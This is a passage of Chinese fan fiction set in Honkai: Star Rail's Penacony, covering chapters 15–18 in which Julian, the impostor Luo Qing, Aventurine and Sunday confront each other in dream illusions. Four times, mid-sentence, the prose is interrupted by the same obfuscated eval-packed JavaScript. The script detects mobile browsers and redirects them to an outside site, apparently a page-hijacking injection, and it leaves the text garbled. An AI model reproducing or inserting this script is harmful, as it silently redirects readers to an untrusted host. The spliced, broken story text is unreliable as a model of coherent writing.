“不用太紧张,你看,你们有这么多人,我却只有我一个。” 他语气轻松,但被枪顶着的当事人和他的同伴可轻松不起来。 旁边心急如焚的钟表小子拨动表盘指针,可不管指针指向哪一方,眼前胖嘟嘟的鳄鱼表情都毫无变化。 “欸——能操控情绪吗,真厉害啊。”尤利安看向匹诺康尼另一个家喻户晓的卡通人物,“但是对我没有用哦,成年人最基本的能力就是控制自己的情绪。” “不要这么提防我嘛,我可是诚心诚意,来跟你们聊天的。” 他故作可爱地歪了歪头,如果是原本的模样,可能还真能起到一些效果,但是在其他人眼中,现在是一只胖嘟嘟的绿皮鳄鱼,呲着尖牙,肥大的脑壳斜歪着…… 很一言难尽。 “没有人的聊天,是在一方被枪指着的情况下进行的。” 尤利安不好意思地笑了笑:“抱歉抱歉,但是我放下枪的话,被枪指着的就是我了,所以也没差啦,不用在意这些小事。” 一声清脆的上膛声,子弹蓄势待发。 “我很好奇,你为什么要为了一群罪犯,和石头老板为敌。” “虽然我知道你也是罪犯出身,但是有才能和没有才能的人可不是同一种生物啊,为什么要为了一群身负罪孽的虫豸和大老板敌对呢?加入‘我们’,你会有更好的未来。” 尤利安是真的很好奇,在阅读那些零碎的传说故事时,疑惑就埋进了他的心底。 匹诺康尼的前身是一座名为阿斯德纳的边陲监狱,公司将囚犯迁移至此,让他们在这里为公司劳作,后来,其中一名囚犯带领其他人掀起反抗,推翻了公司,让监狱重回自由。 让监狱重回自由,怎么听都很地狱笑话啊。 监狱本就是关押罪犯所用,自由本就不是也不该是罪犯们配拥有的东西,让罪犯重获自由……真的对吗? 谁需要被拯救?谁值得被拯救?如果说以强欺弱是动物天性,那么以强援弱是为了什么? 发了霉的木头,能被燃烧就是它最大的价值。 虽然他要搭建一座乐园,但是尤利安并不理解这座乐园为何要向所有人开放。 这些疑惑他不能去问现实中的人,那问问儿童戏剧中的卡通角色总是可以的吧。 “啊,对了,还有你们。”他分给了旁边的钟表小子一点视线,“开拓的意志,是浪费在这些人身上的吗?” 轻蔑的话语激怒了除他之外的所有人。 但是枪口抵在同伴眉心,他们只能暂时咽下怒气。 被枪指着的哈努努开了口:“在你眼中,囚犯不是人吗?” 尤利安摇了摇头:“重点不是囚犯啦,是弱。” “各个星球的律法不尽相同,谁在意你们是为什么会被抓进来的啊。” “况且单以律法而言,石头老板所犯下的罪行,比你们所有人加起来,都多得多的多吧。” 他叹了声气,好似真的站在他们的立场,与被压迫的囚犯共情,可下一秒,就笑了起来,转而用无所谓的语气说道: “但是那又怎样?弱肉强食是这个世界的本质。” “弱小,才是他们洗不掉的原罪。” “不对,如果世界真的只有弱肉强食,那人又和野兽有什么区别呢?” 虽然早知道石头老板的手下没几个好东西,可是明晃晃说出这么轻视人性的话的家伙,还是让钟表小子都忍不住发怒了。 “每一个有生命、有意识的个体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597825|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都应该被尊重,他们都有获得自由的权力!” “……这种大话空话,我已经听腻了。” 他耸了耸肩,完全没有被感化。 “这片天空太辽阔,每分每秒都有人死去,每时每刻都有文明消亡……活不下去的人成为砖石,活下去的人踩着他们向前,才是世界的真谛。” “人生而平等,谁能活下去谁不能活下去,不该是由你来裁定,你太傲慢了。” “如果你是你口中的弱者,你又会怎么办?” “傲慢吗,或许吧。”尤利安笑着放下枪,扣动扳机。 本该炸出彩带的子弹在这一刻,打在地上撞出一个小坑。 “至于下一个问题,回答是我永远不会是该死的弱者。”这点他有足够的自信。 果然,在只有他一个人时,这把枪只是一个塑料玩具,但是在“主角”面前,它就能发挥真正的作用,拥有伤人的能力。 这里只有两把枪,一把在尤利安手中,另一把则被哈努努握着,他还有备用弹匣,对方的枪只有一颗子弹。 而在他主动放下枪后,另一把枪中唯一的子弹,却没有落在尤利安身上。 尤利安好奇地看着他,问道:“不准备把枪口对准我吗?这么好的机会,错过可不会再有了。” “你不珍惜这次机会对我开枪的话,我可就要对你开枪了。” “你不会。”哈努努笃定地说,“你对我们没有敌意。” 不同于石头老板手下的其他鳄鱼,这只奇怪的鳄鱼眼中对他们没有丝毫杀意,自己即使是枪口抵住眉心,心中对于危机的预警依然没有作响。 后面钟表把戏的失效,更是验证了他的猜想,作为与对方面对面,唯一能看清鳄鱼表情的人,哈努努从他眼中清晰看到了几种不同的情绪反复变化,抵在他眉心的力度却丝毫不变。 因为对方根本就不准备杀他。 被戳穿后,尤利安也丝毫不恼,轻快地笑道:“啊,被发现了。” “我早就说过了,不用太紧张,我是诚心诚意来找你们聊天的。” “聊天?可是你明明……” “嘘,”他竖起一根手指,理所当然地说,“你看,不用这种方式,我们根本聊不下去。” “那你说的那些话,是真心那样认为的吗?”哈努努发问。 尤利安点点头:“当然!” “不过这并不意味着我要摧毁你们的梦想,为弱者争取一片生存的土地……听上去蠢爆了,我完全不能理解啦。” 一丝复杂的光从他眼中闪过,再睁眼,又是轻松的笑意。 “但是你们想做就去做好了,撞碎南墙又跟我有什么关系呢?即使你们全部死掉,也不会对我有丝毫影响。” 他瞥了眼卡通小人,从他们大大的眼睛中读出了他们的困惑。 “至于石头老板……他还不值得我为他打工啦。” “……你来这里,就只是为了找我们聊天吗?” “当然不是!” 检查完枪支能正常运作后,尤利安蹲下身,掰开卡通小人的手指,将枪托塞进大名鼎鼎的英雄哈努努手中,然后抬起他的手,将枪口对准自己眉心。 “还有个小小的请求——” “杀了我。” 他笑着说。 16.第十六章 子弹从枪口炸出,贯穿眉心。 然而,黑洞洞的伤口并无鲜血流出,反而是天空、废墟与他周围的卡通人物仿佛被重创,裂纹蔓生,转眼如蛛网般勾连交错,轻轻一推便化为齑粉,扑簌簌落下,恍若一场大雪。 搭构出的幻境消失,只剩下一片寂静的空和冷。 在冥冥黑暗深处,有一道被“雪”覆盖的模糊身影。 尤利安望着那道身影,缓声说:“分明是我的镜像,却只当藏头露尾的老鼠吗?” 幻影轻笑一声。 “我以为你会把他们都杀光。” 果不其然,是和自己一样的声音。 最后一丝疑虑放下。 人总会恐惧和自己过分相似却又有细微不同的事物,扭曲的照片,变形的影子,还有……活过来的镜像,当原本该依附于自己的死物突然展现出一点不受控,那种自我存在的危机感,和对自身独特性的否定,总会让人吓得魂飞魄散。 真正和自己的镜像面对面的这一刻,尤利安感觉很别扭,复杂的感情中并非没有恐惧,可还是好奇占了上风。 他亲手创造了那么多镜像,又摧毁了那么多镜像,可自己的镜像,他还是第一次见。 那么多次在镜中世界穿梭,他都未曾碰到属于自己的那个……原来没有创造者的殊荣,只是镜中的他,也不知在何处徘徊。 镜像如镜中花水中月,徒有其表,却根本不能被算作人。 对着本不该存在,也很快就会消失的另一个自己,尤利安不介意多说几句。 “本来是会有这个打算的。”他语气轻快,“但是我可没忘记我按下的,是演技派挑战啊。” “演员必须演完自己的戏份,而对着一出上演过无数次的戏剧,我的剧本,早就写好了吧。” 他摸着自己额头上的伤口,好奇地将手指伸进去,指腹下的触感冷而硬,比起肉身,更像一块切割打磨过的玉石。 “匹诺康尼会获得自由,身为石头老板的走狗,被英雄哈努努杀死,就是我的结局。” “你想过你推测错误的结果吗?” “我这不是猜对了嘛!”他无所谓地耸肩,“况且选项b错误,那就再按选项a,把人都干掉就好了。” “还有什么问题吗?没有的话,就请你乖乖回到你该去的地方吧。” “该去的地方……”幻影的声音多了几分笑意,“你觉得,哪里会是镜像该去的地方呢?” 笑容敛去,尤利安平静地说。 “你不是很清楚吗。” 从镜中世界逃出的镜像,如果不愿意一直待在镜中,那么供给给他们的唯一选项,只会是地府。 这一点,尤利安无比笃定,作为他的镜像,拥有和他相同的记忆、观念和人格,不该对这点存疑。 笑声抑制不住地流泻,幻影笑得原本模糊的身影更加飘渺。 “清楚!我当然清楚!只是……你真的有你想象的那么明白吗?” “不论什么情况?你都会将镜像推进死神的怀抱吗?” 不妙的预感在心底生发。 他指尖颤动,想催生坚冰,可一点冷气还没来得及在指尖凝聚,就被黑暗舔舐殆尽。 尤利安脸色沉了下去:“你什么意思,你想干什么?” “我想干什么,你不该最清楚了吗……”悦耳的声音中满是恶意,仿若爬满青苔的砖石,每道缝隙中都是湿冷的水汽。 幻象扭曲变形,黑暗如同巨兽的胃壁般蠕动着,冥冥的昏沉中,渐渐显出蓝色的光来。 尤利安向前疾奔,蠕动的黑暗在他脚下生出道道荆棘,却根本拦不住他。 “我很期待你会怎么做……”幻影的声音一点点低沉下去,从尤利安自己的声音,慢慢转向另一道,他无比熟悉又在此时无比恐惧的声音。 幻影彻底破碎,取而代之的是一道他最不希望看到的身影,“尤利安?” 在距离那道身影只有一步之遥处,尤利安停下了,震惊、愤怒、悲戚……情绪刹不住车,在他苍白的脸上凝固成一副可笑的面具。 意识到自己失态后,他下意识低下头,不想让对方看到自己这副狼狈的模样。 一只略带凉意的手落在他头顶,轻轻揉了揉他的发丝。 “尤利安,你知道我怎么会突然出现在这里的吗?” …… 睁眼的瞬间,疲惫汹涌而至,力气被丝丝缕缕抽离,残存的倦意如水银般灌进无力的四肢。 这种感觉,像是做了一场冗长的梦。 “你醒得真快,不再睡一会儿吗?”轻快的声音瞬间将砂金从无端的悲伤中惊醒。 殷红的眼睛笑盈盈凝视着他。 砂金不自觉避开对视,视线在周围逡巡。 “你在找什么?” 他收回视线,回答道:“没什么。” “意外的冷淡啊……”黑发青年不满地小声嘀咕了一句。 不过他很快哄好了自己,眼睛亮起,兴致勃勃地说:“我知道了,你在找的是!卡卡瓦夏!对不对!” 意料之外的名字钻入砂金耳中。 他震惊地回望:“你……!” “他在这里哦~”他微微侧身,一个金发的脑袋眼巴巴探出来。 并非幻觉,并非虚影,而是凝实的、幼小的、活生生的埃维金人。 “大哥哥……” 砂金闭上眼再睁开,诡异错乱的一幕并未消失,而造成这幕的元凶,还在笑嘻嘻地问着他的感受。 “你喜欢这件礼物吗?” 有着同样瑰丽眼眸的孩童抬眼望着砂金,如果这个孩童不是幼时的自己,如果只有他背负“卡卡瓦夏”之名,那么说不定,他真的会为世间尚存同族惊喜。 可惜并不是,于是,同谐的把戏变作更加荒诞不经的恶作剧,点缀上一朵朵腐烂的鲜花后,摆在他面前。 砂金单手撑起身,靠着墙,另一只手则盖在自己眼睛上,眼皮下绮丽的眼睛不住颤动着,几个深呼吸后,他放下手,表面上恢复平静。 “这还真是惊到我了,”他俊美的脸上也流露出几分轻松的笑意,“不过,还是到此为止比较好,玩笑开过了,可就不是玩笑了。” 黑发青年眼中笑意愈浓,走近砂金,悠悠与他对视:“不喜欢吗?难道你不想见到‘卡卡瓦夏’?” “那你希望见到谁?你那死在屠刀下的妈妈?还是消失在流沙中的姐姐?” 满天的黄沙、生锈的刀刃、支离破碎的残躯,诸般回忆千种痛苦,都随着这短短几句话,从死去的过往跃出,化作尖刀直直刺入他的心口,刃如秋霜,血流如注。 “……你为什么会知道?”纵然极力掩饰,他声音还是微弱地颤抖着。 “是你自己告诉我的哦。” 他轻轻抱住年幼的卡卡瓦夏,手指覆在那双瑰丽的眼睛上,遮住天真好奇的目光。 “谁能想到,这样漂亮的眼睛里,藏着那么多痛苦的记忆呢?” “你很痛苦吧,背负‘幸运’之名,却遍历不幸之事。族人大半死在屠刀之下,最爱的姐姐为了掩护你被卡提卡人拖走,好不容易求来的援助却是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612654|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场彻头彻尾的笑谈,连你自己,都被过去囚禁,脖子上烙下漆黑的奴隶印记。” “你不恨吗?为什么总是你经历这些?为什么只有你经历这些?为什么你的一次次生还,代价是所有爱你的人的死亡?” 他幽幽说道,唇齿间吐露的不似言语,而似诅咒。 “神明的眷顾……究竟是祝福,还是诅咒?” 说完,他不再言语,笑容不改,安静地等待着另一位“神明宠儿”的回应。 但他所期待的答复,注定不会到来。 “尤利安先生,你是在代表信仰同谐的家族,向我发问的吗?” “嘘——”他将食指竖在唇前,缓声道,“这个名字可并不属于我……你也早就猜到了吧。” 砂金抿唇,一时语塞。 他确实早就发觉不对,即使同一副外貌同一套衣着,言行举止之间的不同还是暴露了对方并非家族的爪牙尤利安本人。 这种情况并不少见,谐乐大典在即,不少没有收到邀请函的人都会伪造身份,企图混入匹诺康尼。 可胆敢冒充家族中举足轻重的成员,外表相近到连家族中的其他成员都未能觉察不对,既然对方有意隐瞒,那么他也不愿先行点出。 不想对方直接自己戳破了这层心照不明的窗户纸。 感受到他们的交锋,金发孩童在他怀中不安地挣扎着,可腰被一只有力的手臂环住,挣扎也只是徒劳。 “不妨打开天窗说亮话,身为赌徒,砂金大人既然连自己的生命都舍得当作筹码掷出,想必也很期待和我来一次,以一博十的合作吧。” “你也看到了,这个孩子可是血肉之躯,我从你的记忆中将他带出,自然也可以将其他人从过去引入现在。” “你不想再见到你的妈妈和姐姐吗?” 真是有诱惑力的条件。 听到这个能复活所爱之人的“好消息”,砂金的反应却不是激动和喜悦,而是愤怒。 他可以容许自己变作一枚棋子,被投入棋盘中,被利用、被操控,在一场场的厮杀后被另一枚棋子吞噬,可若是连已死的亲人,都要被居心叵测的人从时间的长河拉出,变作握在手中,随意作弄的棋子…… 他瞥了眼那个无知无畏,没有经历生死分别痛苦的孩童。 “你怎么证明你真的有这种能力,而不是在梦境中捏造了一具傀儡戏弄我?” “很简单。” 黑发青年放开怀中的孩童,走近砂金,鲜血似的双眸直直望入他的瞳孔深处,恍若一片深潭,幽深诡异,诱人坠亡。 “天才俱乐部#69,洛青。” 砂金心中泛起惊涛骇浪。 苍白的手伸了过来,他反射性闭上眼,那微凉的指尖便落在他的眼皮上。 “身为石心十人之一,我相信你听过这个名字。” 孔雀蓝的石头落在他掌心中,幽幽绿光与白皙皮肤相衬。 洛青向他晃了晃手中的基石。 “连存护星神的恩赐都能复刻,就不必怀疑我的能力了吧。” 那是已经破碎的砂金石…… 砂金努力维持表面上的平静,扬起笑容:“当然,如果我的同伴知道我能和您这样的强者联手,也会感叹我的好运名副其实。” 总之,先稳住他…… 一条老旧的项链被甩入他怀中,表面遍布或深或浅的划痕,链身也有些变形,本该金灿灿的色调被岁月暗沉,可正是这些象征着岁月的痕迹,叫砂金瞳孔地震。 “如果第一件礼物不喜欢的话,那么这第二件呢?” 17.第十七章 藏有宇宙真理的殿堂,从不欢迎庸人的到访,只有稀世罕见的天才,才能获得博识尊的邀请,欣欣然踏足其中。 「天才俱乐部」成员不多,在无数个琥珀纪的积淀下,仅有84位天才进入此中,而这84人中,至少有半数,都将名字牢牢焊在了宇宙史中。 凡人与天才间的鸿沟有逾天堑,天才的灵光一闪,抵过凡人千百年的上下求索。 然而,天才与疯子,只有一线之隔。 天才俱乐部第六十九席洛青,便是以他的智慧和残忍,在宇宙间造就了无数惨剧。 传说,他能模糊生与死的边界。 星球表面盈满忆质,如同被肥皂泡包裹的糖果,泡沫破碎后,糖果表面一片狼藉,再无生命痕迹。 这样的陨落,自两百年前伊始,至今发生了无数次。 最开始,人们以为这不过是宇宙间无数悲剧中的一个,或是一个又一个,这片宇宙太大,一颗星球太小,就像万亩良田结出的亿顿玉米中的一颗玉米粒,今天这棵玉米被雪冻死,明天那株玉米被雨砸落,即使感染病菌稀稀拉倒了一大片,对于整片玉米地而言,也不过沧海一粟。 直到公司受到了那无数个因忆质而陨落的星球的幸存者的求助,才从他们口中得知,这些惨剧并不是天灾,而是人祸。 一位仙人从天而降,称可以让他们再见到冥河彼岸的亲人,国王、臣子、百姓……没有人抵挡住死者复生的诱惑,纷纷握住仙人伸来的手。 于是,地狱之门向人间大开。 待到生与死的界限消弭,生者与死者别无二致,仙人便施施然离开,留下一整个星球上拥挤的人群,在迷茫中撞向毁灭。 据幸存者说,重回人间的根本不是他们的亲人,而是有着相同皮囊,相似记忆的怪物。 他们说,从天而降的根本不是什么仙人,而是向人间抛售绝望的恶鬼。 公司接纳了他们,容许他们在存护的庇护下喘息,可没过多久,这些不幸的幸存者,也如泡沫般碎掉了。 所幸在他们破碎前,公司已问出那一出出惨剧的幕后主使的名字。 洛青。 公司兜兜转转,没有从仙舟找到这个名字对应的人,反而从屈尊降纡与他们合作的黑塔女士口中,得知了他的身份。 “洛青?” “那可是个麻烦家伙,你们最好指望别和他搭上关系。” “原来你们不知道他是谁啊……天才俱乐部#69,也是一个疯子。” 再后来,绮丽的忆泡落在市场开拓部主管奥斯瓦尔德多?施耐德家乡,他阴沉着脸前往,又笑容满面地回来,骄傲地宣布公司和又一位天才俱乐部成员达成合作。 而如今,在砂金手中的,正是那些已死的幸存者口中,恶魔的礼物。 他用拇指摩挲着那条斑驳的金项链,感受黯淡表面上与他记忆中一模一样的划痕。 难怪会让那么多人心甘情愿走进他的陷阱,直到从天空轰然坠下,才想起挣扎。 可这么看来,对方所做的,并非是让死者复生,而是从记忆中复制出本不该存在于世的物体…… 记忆…… 望着年幼的“自己”,一个古怪的猜想从他脑海中一闪而过。 砂金收起项链,抬眼望向洛青:“既然是合作,那么您希望我做什么呢?” “继续做你想做的就好,你目前的所有猜想,都是正确的。” 隐约传来脚步声。 猎犬家系的成员从转角涌出,齐刷刷将枪口对准二人。 黑洞洞的枪口排开,如蜘蛛头部并列的单眼,冰冷凝视着猎物。 洛青微微一笑,用略带调侃的语气说道:“怎么将枪口对准我了?是准备以下犯上吗?” “尤利安大人,你被指认为一起凶案的凶手。”为首的黑皮青年语气冷硬,明明口称“大人”,却没有分毫恭敬的意味,“如果你问心无愧的话,请跟我们走一趟。” 洛青挑眉,有些惊讶:“凶案?有意思,但若只是被指认的话,你们可没资格这样跟我说话。” “所以,是哪个大人物站出来指认我了呢?” “无可奉告,请跟我们走一趟。” “真是让人为难啊,我现在可没时间陪你们玩过家家游戏。” “目标不配合,开枪。” 子弹飞离枪口,带着凌厉的风势,呼啸着要撕碎猎物,可刹那间,它们竟硬生生停在空中,仿佛被一道无形的冰层挡住,周身迅速凝出晶莹的冰霜,静静悬在那里,形成一副怪诞奇异的工笔画。 而后,冰霜蔓延,从洛青脚下层层刺出,恍若肃杀的海浪,将水中的活物裹挟着,高高举起,将要拍向海面。 转瞬间,举着枪,满脸严肃的猎犬成员们,化作一排人体冰雕。 洛青眼角垂下,无奈又委屈,一双桃花眼硬是圆成了小鹿眼,茶里茶气地开口: “真是的,对我开枪就算了,怎么还将枪口对准公司使节砂金大人呢,传出去还以为我们匹诺康尼不欢迎客人呢~” 他委屈巴巴地控告着,话音到后面渐渐溢出笑意,抬起右手,五指收拢。 “这多不合适啊,对吧?” 砰—— 冰雕炸开,干净的地面上瞬间铺满冰渣,红红白白,融化后变作一张图样潦草的地毯。 呼吸间抹杀了十几个人的罪魁祸首转身,对砂金故作俏皮地眨眨眼:“等到你拨开云雾,踏入真实的世界时,我会再来找你的。” 他又像突然想起什么一样,双手合十放在脸侧,故作可爱的语气让砂金忍不住打了个寒颤。 “啊,提前告知赌局结果是不是会影响你的兴致?抱歉,原谅我吧,毕竟你也不能拿我怎么样~” …… 扭曲的黑暗退散,商铺、喷泉、熙熙攘攘的人群出现,商铺招牌旁彩色的大喇叭响起。 “都来看看吧!睡蕉小猴最新玩偶……” 星期日环顾四周,眼神逐渐柔和,然后看向身旁低头不语的黑发青年。 “阔别校园多年,没想到折纸大学还是这副热闹的模样,真是让人怀念啊。” 他将手搭在同伴肩上,担忧地说:“怎么了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630371|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤利安,你看起来好像不太高兴?” “是在担心碰到威廉教授吗?不用怕,毕业这么多年,他不会再揪着你音律考试不合格……” 他话还没说完便被打断了,黑发青年紧紧抱住他,双手勒住他的腰,力气大到让他有些吃痛。 尤利安侧过脸,不让怀中的人看清他崩溃的神情,冰霜在指间数次凝出,又转瞬消融。 完了。他绝望地想。 不能使用能力的限制已经解除,现在阻拦他动手的,只有他自己。 他比任何人都清楚,镜像只是镜像,可与此同时,他又无比明白,镜像是与那个人有着同样的外表,同样的性格,如果还拥有完全的记忆…… 那么这样的镜像,究竟和本人有什么区别呢? 尤利安突然陷入迷茫。 理智告诉他,这只是一个复制出来的傀儡,只要他想,他也可以造出千八百个,堆在一起,装成一个大型博物馆,这么多的藏品可以供给上千人在馆中参观。 他要杀了它,他要尽快杀了它,手要快,心要稳,刀要利,如果被镜像觉察出杀意,那么有着原身能力的镜像反抗,会让事情变得更麻烦,可是…… 微凉的泪水滴入星期日温热的颈间,他一愣,旋即揉着尤利安柔顺的黑发,熟练地安抚着:“不想回到校园的话,我们可以离开。” 环在他腰间的手落了下去,黑发青年松开他,转而将整个人埋进他怀中,身体微微颤抖着。 星期日哑然一笑,浅灰色的耳羽颤动,“成年之后,你就很少这样跟我撒娇了。” “不是撒娇!”纵使情绪低落,尤利安还是忍不住抗议,随后又犹豫地询问道:“你已经当上橡木家系家主了吗?” 星期日奇怪地回道:“我的继任仪式并未过去多久,当时你也在场,怎么了尤利安?你不该这么快就遗忘的。” “……距离谐乐大典还有多久?” 星期日了然地笑,觉得自己已经知道了答案:“距离谐乐大典还有一段时间,虽然是我第一次作为家主主持盛会,但你也不必过分操心,忙得连时间都模糊了。” 他捧起尤利安的脸,金色的双眸藏着笑意,对上那片波光粼粼的血湖,语气放柔,“既然不是害怕威廉教授,那我们故地重游,在母校逛逛吧。” 尤利安闭上眼,掩去心中的挣扎。 就像镜像对自己说的,他以为自己能区分开,他以为自己能很清楚地将镜像视作工具,可实际上,这不过是他的一厢情愿罢了。 以前他能心安理得地朝镜像挥刀,不过是因为他也能毫无愧色地朝镜像所对应的活人挥刀。 一旦对象换成在意的人,缺失的痛苦与挣扎便千百倍上涌,撕扯着他的灵魂,痛地让他拎不动刀,下不去手。 即使努力了十几年,冷静与理智他也只是学了层皮毛,在面对其他人还能凝成面具扣在脸上,换一个对象,便也只会在指间融化,无力地滴落在地。 在短暂的沉默中,他下定决心。 再睁开眼,尤利安笑得无比温柔。 “好啊。” 18.第十八章 时尚比最情绪化的病人还要变幻莫测,而充满活力又无所事事的年轻人,总会尝试揪住这顽劣东西的尾巴,殊不知自己在他人眼中也变得奇异。 不过离别了几年,校园的风尚就成了让毕业生摸不着头脑的怪模样。 廉价的布料,脱线的缝合,丑陋的造型,还有那毅然决然与智慧绝裾而去,尽显小众审美的简笔画黑白眼睛…… 尤利安沉默地看着怀中的猴子玩偶,说不出一句赞美的话。 如果这种东西都能被称之为时尚,俘获万千追随者的话,那么这所大学,真是……完了。 更让他绝望的是,好像只有他一个人看得清这丑东西的真面目,其他人都热衷于催眠自己,把“抽象”扭曲成“可爱”,“粗制滥造”吹捧成“手工匠心”,然后大言不惭地卖给路过的可怜人。 比如他。 这种丑东西,竟然要八千多苜蓿币一个…… 无声的抗议被捕获了。 “怎么了尤利安?你不喜欢睡蕉小猴吗?” “不!完全没有!”他放弃和猴子玩偶大眼瞪小眼,迅速挤出一个看得过去的笑容,绞尽脑汁搜寻“高情商”说辞,“真有创意,设计者的创新精神令人难以望其项背。” 他说这话单纯为了糊弄,不料说者无心听者有意,打扮浮夸到像一颗彩色椰子树的女士抓住他的手臂,满眼激动。 “同学!你也是睡蕉小猴的粉丝吗!” 尤利安面色一沉,反射性地想甩开怪人的手,可是念着自己身旁站着的是刚就任家主的星期日,硬生生把本能压下去,强颜欢笑附和着:“算是吧……” “那旁边的天环族先生也是吗!你们抱着的,都是睡蕉小猴的最新款玩偶!” 还未步入社会,感受现实残酷的学生的欢乐总是如此简单,又如此具有感染力。 星期日笑着说:“是的,这位女士。” 椰子树女士两眼放光:“可以拜托二位抱着睡蕉小猴拍一组宣传片吗!睡蕉小猴应援会只缺两位帅气的模特,就能让睡蕉小猴的魅力,扩散到整个匹诺康尼了!” * 事情总会向他最不想看到的方向滑去。 尤利安绝望地闭上眼。 花钱买了两只粗制滥造的猴子玩偶,还抱着它拍了照,让自己成了这丑东西的代言人…… 还好,这只是幻境,一切都当不得真。 看着手中两人的合影,他心情有些复杂,说不清是庆幸更多,还是落寞更多。 也只有在幻境中,他才能收获两人无所顾忌地笑着的合影。 食指和拇指用力,在照片被捏出褶皱前,尤利安将它小心收回口袋中。 毕竟不是真的,不管是照片,还是眼前的人。 “单纯的学生时代,真是让人怀念。” 年轻的橡木家系家主侧身看着他,尤利安只和他对视了一刹就移开眼,避免自己被那片温柔的金色溺亡。 “可惜我们学生时代没有留下这样一张合影。” 被这句话勾起不美妙的回忆,尤利安本就不算高涨的心情更低落了几分,星期日恍惚幻视一只缩着脑袋小声喵呜,耳朵都折成飞机耳的黑猫。 “抱歉,家主大人,没能和您进入同一所学院……” 还在耿耿于怀吗。 他无奈地安慰道:“这不是你的问题,尤利安,况且最后,我们都没有和同学拍毕业证。” 作为被指定的继任者和被重点培养的家族成员,一旦家族内部出现重大突发情况,他们必须放下自己的事情去处理家族委派下的任务,因此,不止课程上得断断续续的,连最后的毕业照都没有拍成。 而且…… “尤利安,不用对我这么尊敬。”这一点让星期日头疼许久,“在我继任家主后,你好像觉得我们不能再像以前那样相处,刻意拉开了我们之间的距离,学着其他人,强调起了身份。” “可若是连你都对我敬而远之,我还能将谁视作真心的朋友呢?” ……是这样吗? 尤利安表情空了一瞬。 他依照其他人所言,不再将星期日视作可以随意依恋攀附的亲近之人,用更谨慎更尊敬的面相面对对方,维持匹诺康尼话事人的得体和威严,在当事人看来,却是刻意的远离吗…… 他忍不住偷偷看了灰发青年一眼,心中郁结。 现实中的星期日也是这么想的吗,他为了不给重要的人添麻烦,却成了对方更放不下的负担吗…… 他这幅样子,星期日再熟悉不过。 从震惊,犹豫,最后倒向无尽的失落和自责,星期日总能轻而易举地读懂他的情绪,却难以理解他歪七扭八跟自己预想的完全不一样的想法。 但应对这一套,他也有万能的解法。 两只白皙修长的手以轻柔却不容抗拒的力道将尤利安的脸捧起,随后在他震惊的眼神中,向两边一扯—— 并没有多疼,但他还是习惯性地捂住脸,用委屈的眼神谴责对方。 “……你完全不像橡木家系家主了,”他像一个导演责怪演员没有演出自己心目中的角色,“跟十二岁小孩子一样幼稚!” 身体年龄二十二岁的星期日眼含笑意:“大概轻松的环境就是会让人变幼稚吧。” 他的视线落到远处,像是怀念:“我十二岁时把冰箱里的三个蛋挞一口气全吃掉了,你还帮我顶罪说是你吃的。” “结果下次你当着歌斐木大人的面吃下了一个蛋挞,全身起了红疹——原来你对蛋挞上的糖霜过敏,上一次的谎言也不攻自破了。” “……那次真是吓到我了。”尤利安小声嘀咕,有些心虚。 谁能预料到薄薄一层糖霜会有那么大的威力? “也真是吓到我了。”星期日无奈地看着他,蹲下身,轻轻拍了拍他的脑袋,好像他们都回到了小时候。 “所以——不用称呼我家主大人,像以前那样称呼我就好。” 可能是氛围太轻松,又或许是明白这里只是幻境,让尤利安觉得自己可以稍微放纵一点,不用考虑那么多后果。 他突然起了坏心思,故作忸怩道:“真的吗,那——主人?” 没有人接他的话。 空气诡异地沉默着。 半晌后,星期日站起来,咳嗽一声,背过身去,假装无事发生,但尤利安总觉得刚刚那一秒,自己看到了他泛红的耳根。 即使有着相同的经历,也不意味着他们就是同一个人。 这种不属于现实中的星期日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14656055|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的反应,又为尤利安平静下来的心添了分底气。 “……我们去看看威廉教授吧。”星期日故意绕过方才的话题,“不知道教授现在是否还在教育领域深耕。” 一提起威廉教授,尤利安原本轻松的心情迅速垮了下去。 他不会忘记那个老家伙是怎么指着他的鼻子骂他唱得比鸭子叫还难听,又是怎么跟学院三番五次地反应,最后把自己赶出谐乐学院的。 